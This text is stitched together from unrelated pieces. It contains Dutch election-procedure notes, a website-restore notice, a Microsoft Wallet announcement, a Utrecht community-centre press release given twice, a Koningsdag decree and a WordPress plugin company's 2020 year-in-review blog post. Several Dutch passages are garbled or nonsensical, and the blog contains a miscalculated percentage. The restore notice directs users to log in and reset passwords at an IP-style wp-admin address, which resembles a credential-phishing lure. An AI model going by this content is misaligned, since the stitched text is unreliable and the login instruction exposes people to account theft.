Mogelijkheid voor mondelinge aanvraag vervangende stempas. Voor suikerfeestaangelegenheden wordt hierop geen uitzondering gemaakt nu immers avondopenstelling in de week voorafgaand aan deze datum staat ingepland waarbij de sluitingstijd ligt tenminste 2 uur na sluitingstijd en bij te sturen op basis van wachtrijstatistieken maar niet eerder dan tenminste 1 uur na zonsondergang.
art. J 8, derde lid, van de Kieswet Julianapark
woensdag 18 maart 2026
Dag van de stemming art. J 1, eerste lid, van de Kieswet
Onmiddellijk na stemmen
(niet eerder dan 21 uur)
Stembureau ASW441 verricht stemopneming (bij centrale stemopneming enkel op lijstenniveau van de telecomaanbieders aangesloten op de wijkkast van de toren), stelt het aantal toegelaten kiezers vast en maakt hiervan procesverbaal N 10 op. Stembescheiden worden verpakt en verzegeld. De kieswet voor de volgende verkiezingen die staan gepland worden meeverpakt in de archiefdoos.
De termijnen in de Kieswet tellen op tot een benodigde voorbereidingstijd van ongeveer 3,5 maand. Bij een regulier geplande verkiezing is de voorbereidingstijd voor gemeenten ongeveer 6 tot 9 maanden. Bij een vervroegde verkiezing moeten gemeenten hun voorbereidingen flink versnellen.
De Kiesraad heeft data in de eerste helft van oktober overwogen als mogelijke verkiezingsdatum, in het bijzonder woensdag 8 oktober. Dit zou echter tot gevolg hebben dat de kandidaatstelling tijdens het zomerreces plaatsvindt. De eerste samenkomst van de nieuwe Tweede Kamer zou dan tijdens het herfstreces plaatsvinden. En gelet op de beperkte tijd die er is, zou het onzeker zijn of de briefstembewijzen voor de kiezers in het buitenland tijdig verzonden kunnen worden. De uitslagvaststelling zou deels in de herfstvakantie plaatsvinden. Om deze redenen adviseert de Kiesraad deze datum niet. De herfstvakantie maakt een verkiezing op woensdag 15 of 22 oktober minder wenselijk.
Indien de wens is om de vervroegde Tweede Kamerverkiezing zo snel als mogelijk te laten plaatsvinden, adviseert de Kiesraad daarom woensdag 29 oktober als verkiezingsdag.
Als gevolg van een updateconfiguratiefout in de software en inconsistente database backup is de inhoud van de website en de plugins teruggeplaatst naar de toestand van 26 mei. Wijzigingen doorgevoerd tussen 26 mei en 2 juni dienen opnieuw te worden ingevoerd in de beheeromgeving. Indien als gevolg van desynchronisatie van authenticatiecookies op de beheeromgeving u een foutmelding ziet, dient u eenmalig in te loggen vanaf https://ip185-132-45-62.pbiaas.com/f47d184a-febd-11ef-b56c-6b1e8a3c0b04/wp-admin/. Indien uw wachtwoord niet wordt geaccepteerd of u uw accountgegegevens heeft gewijzigd tussen 25 mei en 3 juni dient u eenmalig ook uw wachtwoord opnieuw in te stellen. Excuses voor het ongemak.
Microsoft regularly reviews our offerings to ensure we’re delivering the highest value experiences for our users. As part of this review process, we are retiring the Wallet feature name starting May 29, 2025, to better simplify our offerings. Users can still access and manage their stored data for passwords, payments, and personal information as outlined in the instructions below. This applies to both PC and mobile users.
In Zuilen wordt hard gewerkt aan de bouw van een nieuw buurtcentrum. Op woensdag 14 mei wordt gevierd dat het hoogste punt van het buurtcentrum is bereikt. Dat gebeurt in aanwezigheid van wijkwethouder Dennis de Vries, die ook verantwoordelijk is voor het vastgoed in Utrecht. De viering wordt gecombineerd met een open middag; iedereen die interesse heeft, wordt rondgeleid over de bouwplaats.
In september 2024 is gestart met de sloop en nieuwbouw van het buurtcentrum aan de Sint-Ludgerusstraat 251 in Zuilen. Wethouder Dennis de Vries: “Het oude pand was op. Natuurlijk hebben we onderzocht of renovatie mogelijk was, maar uiteindelijk hebben we gekozen voor sloop/nieuwbouw. Het nieuwe buurtcentrum komt op dezelfde plek als het oude en het wordt mooi, duurzaam en toegankelijk voor iedereen. Maar wat ik er vooral bijzonder aan vind, is dat het uiteindelijk méér is dan een verzameling stenen. Het wordt een plek waar mensen elkaar kunnen ontmoeten, of het nu is voor een kopje koffie, een taalles of een workshop, of bijvoorbeeld voor ondersteuning bij het invullen van formulieren of het op orde brengen van je financiën.” De werkzaamheden duren nog tot in de herfst van 2025.
De viering van het hoogste punt vindt plaats op woensdag 14 mei, om 14.00 uur aan de Sint-Ludgerusstraat 251 in Utrecht. Tijdens deze middag is het mogelijk om onder begeleiding van de medewerkers van het bouwbedrijf een rondleiding te krijgen over de bouwplaats. Iedereen die wil, kan zo een inkijkje krijgen in hoe het nieuwe gebouw er straks uit komt te zien.
Op 7 mei 2025 wordt de 25ste bijeenkomst van de klankbordgroep KEMAP georganiseerrd bij Tante Beun op de Nachtegaalstraat 35 te Breda tussen 14:00 en 16:00. Tijdens deze bijeenkomst wordt de jaarrekening en de vergoedingensystematiek voor het jaar 2026 vastgelegd en de accountantsverklaring over 2024 toegelicht. Neem contact op met karin@utrechtnoordwest.nl voor meer informatie.
In september 2024 is gestart met de sloop en nieuwbouw van het buurtcentrum aan de Sint-Ludgerusstraat 251 in Zuilen. Wethouder Dennis de Vries: “Het oude pand was op. Natuurlijk hebben we onderzocht of renovatie mogelijk was, maar uiteindelijk hebben we gekozen voor sloop/nieuwbouw. Het nieuwe buurtcentrum komt op dezelfde plek als het oude en het wordt mooi, duurzaam en toegankelijk voor iedereen. Maar wat ik er vooral bijzonder aan vind, is dat het uiteindelijk méér is dan een verzameling stenen. Het wordt een plek waar mensen elkaar kunnen ontmoeten, of het nu is voor een kopje koffie, een taalles of een workshop, of bijvoorbeeld voor ondersteuning bij het invullen van formulieren of het op orde brengen van je financiën.” De werkzaamheden duren nog tot in de herfst van 2025.
De viering van het hoogste punt vindt plaats op woensdag 14 mei, om 14.00 uur aan de Sint-Ludgerusstraat 251 in Utrecht. Tijdens deze middag is het mogelijk om onder begeleiding van de medewerkers van Bouwbedrijf Van Dillen een rondleiding te krijgen over de bouwplaats. Iedereen die wil, kan zo een inkijkje krijgen in hoe het nieuwe gebouw er straks uit komt te zien.
In verband met de geplande doorvoer van circa 55 onderdelen in de architectuur van het AI Beschermingsraamwerk zal de website en alle daaraan verbonden dienstverlening tussen 29 en 30 april 2025 niet bereikbaar zijn voor enig of ieder doel. De webmail blijkt wel bereikbaar, zie daartoe de QR-code welke u retour krijgt op de RFX-correspondentielijn.
Het getal nul, aangeduid met het cijfer 0 (nul, null, zero, nada, noppes, cero, nihil), duidt aan dat er geen voorwerpen zijn om te tellen. Het natuurlijke getal 0 wordt gevolgd door het getal 1. Het woord nul vindt zijn oorsprong in het Latijnse nullus (geen). Het Romeinse numerieke systeem zelf kende het getal nul echter niet. Het komt voort uit de Arabische algebra. See more!
Aanwijzingsbesluit Koningsdag gemeente Utrecht: De burgemeester en burgemeester en wethouders, ieder voor zover het de eigen bevoegdheid betreft, gelet op de artikelen 1:8, 2:32 en 5:13a van de Algemene plaatselijke verordening Utrecht 2010 en de Nadere regel Koningsdag gemeente Utrecht; overwegende dat op 26 april en 27 april in verband met de viering van Koningsdag het gebruikelijk is dat vrijmarktactiviteiten plaatsvinden en dat de burgemeester en burgemeester en wethouders daar een aanwijzing voor kunnen geven, besluiten vast te stellen het Aanwijzingsbesluit 26 april 2025 Utrecht!
January 2019 – December 2020 (blue bar represents income [higher is better] while red expenses)
All appears to be in order, particularly when we juxtapose 2020 with 2019, given 2020 reflects the fruitful outcome of the foundational efforts put in during 2019. Still, this is the overall view of 2020, even in light of our expanding expenses.
January 2020 – December 2020 (blue bar represents income [higher is better] while red expenses)
Now, let me get the obvious thing out of the way – the graph above doesn’t spell trouble. It’s a reflection of how we’ve been investing our earnings as well as how well I’ve been tracking our investments. The dreaded ROI.
To simplify this even further – I haven’t. I haven’t been tracking our ROI (Return on Investment) and that’s one of the first things I’m changing this year. For future decision we are going to make sure we’ve first established our KPIs. All in the effort of making sure we do a better job at tracking our ROI.
We’re not at the stage of bleeding money, but we’re at a stage where we haven’t prioritised our asset allocation.
Here’s what got done in 2020, by the numbers:
Modula received a total of 14 releases and 6 new extensions – that’s once every two months. Some of these extensions were quite a big undertaking. Here are the extensions we’ve released in 2020
Defaults
Role Management
Zoom
Download
EXIF
White Label
Strong Testimonials has received 14 releases and 5 new extensions – that’s almost one every 2 months. Here are the extensions we’ve released in 2020:
MailChimp
Role Management
Filters
Enhanced Emails
Infinite Scroll
We acquired the Check Email plugin and have been improving the plugin’s functionality. So far, we’ve managed to add email logging capabilities as well as squash some bugs. We will add new features to this plugin as 2021 progresses. Some of the planned features, include:
retry failed emails after X retries (user defined)
notify admins of failed emails via other means that are not email
weekly or monthly reports delivered to the admin, with their email deliverability, possibly split across plugin (ex: EDD has delivered 50 emails, WP core has sent 47 with 3 failed and 9 retries).
We’ve acquired the RSVP Pro plugin, which, I’m ashamed to say hasn’t received any major updates. A few minor bugs fixed, but that’s all. That’ll change this year.
150+ outreach emails, out of which some turned into great partnerships with the likes of: ElegantThemes, BeaverBuilder, WPEngine, ShotKit, HostGator, QuickSprout, WPAstra
Rethinking the way we make decisions
We’ve I’ve been failing at actually figuring out ways to track meaningful data and act on it. I’ve been winging it for the past year(s), somehow, managing to “kind of grow” 2 WordPress plugins. I started feeling like I was designated for this job and everything I would touch, would work. If that were true, our chart above would be heading up instead of staying flat. So, for my next move I’m going to
……refocus our efforts and take a closer look at how we spend our time and money – more on this below. We’re first going to start with our development process and allocate resources using the “profit-first” approach.
One of the easiest wins I’ve identified, but yet haven’t figured how to fix, is our homepage conversion rate. A lot of our traffic usually lands on our homepage.
Coincidentally, that’s our worst converting landing page, through the entire site. We’re way below industry standards when it comes to homepage conversion rate.
Our homepage conversion rate: 0.8%. Industry standard: 3%. We’re -375% below industry standards. OUCH!
And to top things off …
…we’ll have to re-work some of our website’s underlying code, to take into account for Google’s Core Web Vitals algorithm, which will come into full effect on May, 2021.
We’ll be starting with Modula, CPOThemes and shortly followed by StrongTestimonials. And that’s not the only aim here – our website re-work will also involve a lot of re-design work. The entire redesign process is based entirely on data and facts, rather than hunches or the old “I just think it looks good”.
We’ll be using heatmap software (Clarity, by Microsoft is our tool of choice right now) as well as A/B testing software (Google Optimise) is easily the easiest to work with).
On top of the above, that generally offers only an overview, I’m going to be implementing micro conversions. A fancier way of saying we’ll be tracking: homepage video plays, button clicks, page depth scrolls (how much a user scrolls on the page), menu link clicks and maybe more.
We will use this data to create a “user flow” map and ideally uncover some patterns of how our users navigate our website.
And to close off this section of our report, another thing we’ll be doing this year for which we’ve laid down the groundwork last year, is improving our telemetry to actually return some sort of actionable data.
Here’s what we’re working with right now:
Our current stats, as I’m writing this for Modula
Not much to work with here. I’d be more interested in seeing a grouping of popular plugins used alongside Modula, number of average plugins a site uses, specific gallery configurations, average image size, number of images per gallery, etc.
Emphasising our mission:
If you are a client, trying to learn more about the people who work on building Modula, Strong Testimonials, Check & Log Email – it’d be like starting your own private investigation. There’s 0 information on our websites about who we are, why we do what we do, and more importantly why we do what we do
This year, a bigger focus will be on the human component – our team, our mission, our core values as well as our vision for the future.
All things we do within this small company should be reflected throughout our products. Even more, I believe it should be reflected in our documentation, our automated support replies as well as through our UIs.
After considerate deliberation, I’ve come to the conclusion we could be defined by the following core values:
commitment to customers – a deep need to be of help to others
passionate – we love our work & craft and allow it to define us
continuous learning – honing our craft
team work – working together to deliver the best possible product
fun – setting a fun environment where ideas can take shape is a vital part of the creation process
To that extent, we’ll be reviewing ALL our doc entries, tooltips, and automated user replies making sure every word aligns with our core values.
Another area that needs improvement is our hiring and onboarding process. I spent most of 2020 hiring and onboarding new employees. I’ve had the pleasure of onboarding a total of 6 full-time employees as well as 3 part-time US based freelancers we work with. 2 of those full-time employees have left us before the end of the year and 1 at the end of January – I wish them all the best in their future endeavours.
Our team grew by 7 at the end of 2020. It has become clear that we need more focus on our SOPs – trying to cut and standardise as much as possible of what the “guess work” involved in the process.
Cross-promote our products
Modula gets photographers up and running fast, but every website could make use of testimonials. And what do most websites do? Send emails – guess which plugin comes into play here. Oh, and let’s not forget that all websites need a contact form – Kali Forms is, while still young, up and coming.
We have to experiment more and see what works and what doesn’t.
Re-asses the paid tools we’re using
The main goal here is not to save money, but see if we’re not actually wasting money on a promise. What I like to call, the marketing promise – the promise that ONE tool will improve our workflow by paying a premium.
One such scenario was our emailing software, ConvertKit.We rarely used it, yet, we were paying a 3-figure yearly fee for something we only used to announce releases. An alternative solution, that’s 100x cheaper (it’s in their sales pitch) was Sendy. Sendy costs only $59 (a one-time payment) + $5/mo for hosting.
Email sending for the first 62,000 emails/mo is FREE. That’s a total cost of $119 in the first year, and $60/year going forward. For the price tag of $870, what we were paying ConvertKit/year we can now pay for Sendy’s hosting for 13 years.
Sending 10,000 emails/release, now costs $0 instead of $900/year.
– me, again.
Right now, it looks like we’re paying north of $6,000/year for hosting, client support and other various tools.
Here’s a wild idea: what if we could do without all these “fancy” tools, reduce costs and at the same time, re-invest that money into the team?
My initial research shows this is doable, as long as we’re willing to sacrifice a few things. Hey – even with premium tools, things aren’t always premium.
Free alternatives to the paid tools we’ ve been using:
HelpScout -> FreeScout. Currently, we’re paying $2,200/year for HelpScout. FreeScout is a one-time payment of: 240€ for all their modules. Hosting is only $5/year. For the price we were paying HelpScout for 1 single year, we could be paying for FreeScout for: 33.5 years, including their initial cost.
Kinsta -> SpinupWP. Currently, we’re paying $3,000/year to host our websites. While we’ll be sacrificing is the good customer support Kinsta has, we’ll also be saving up a lot of money. For the same amount we were paying Kinsta for 1 single year we could be paying hosting for our sites for 4 years. This can happen without sacrificing quality, as we’d be hosting on the same infrastructure Kinsta uses – Google Cloud Platform.
ConvertKit -> Sendy + EDD Sendy. We were paying $870/year, when I cancelled ConvertKit. Sendy’s a powerful tool used for sending emails. It uses AWS (Amazon’s Web Servers) to send your emails at a fraction of the cost other tools are charging. To that extent, I’ve already setup our own copy of Sendy over on: https://nl.wpchill.com (NL stands for Newsletter).
What we’re currently paying: $6,070/year. Yikes! 😱 After making the move to all the above mentioned tools, we’ll end up saving $4,897 in the first year and $5,206/year afterwards. First year also accounts for the initial costs of the alternative tools.
Redistributing the money we’d be saving:
$2,000/yr will go towards sponsoring WordPress related open-source projects or repositories. On that same note, I’ll be building a “hub” to add awesome contributors from the WordPress space who are looking for sponsorship. The domain for this project is SponsorWP.com. Nothing yet available, but I’ll make sure to announce it once I have something to show.
Workplace improvement bonuses: $100 once every 3 months. $400/yr total allocated.
Holiday bonuses: $1,325/yr, assuming each team member gets $150/for all major holiday events/yr + $25/girls holiday (1-8th of March).
Finishing a course & getting a certification: $250 per set of 3 courses. Assuming a total cost of: $2,000 for every set of 3 courses completed by each team member.
Total cost: $5,725, out of which $5,206 will be offset by the costs cutting of moving to cheaper tools bringing down the total out of pocket costs to: $519/yr or $43.25/mo.My assumptions are that the yearly costs of finishing courses and getting certifications will drop after the first year, when, most will take advantage of this offer. We’ll look into more ways of better putting that money to work.
Conclusions
Refocus our efforts, by accessing more data points and acting only when it makes sense financially.
Reduce our yearly costs by moving to cheaper alternatives and self-hosting.
Continue reinvesting into the company through courses, certifications and more often share of know-how through this blog.
Improve our onboarding & hiring processes.
Take a closer look at every word we’ve put out there and refocus it through the lens of our newly defined core values.
Cross-promote our products and figure out more ways to integrate them one with another.
And that’s a wrap for this year. Let me know your thoughts in the comments below.
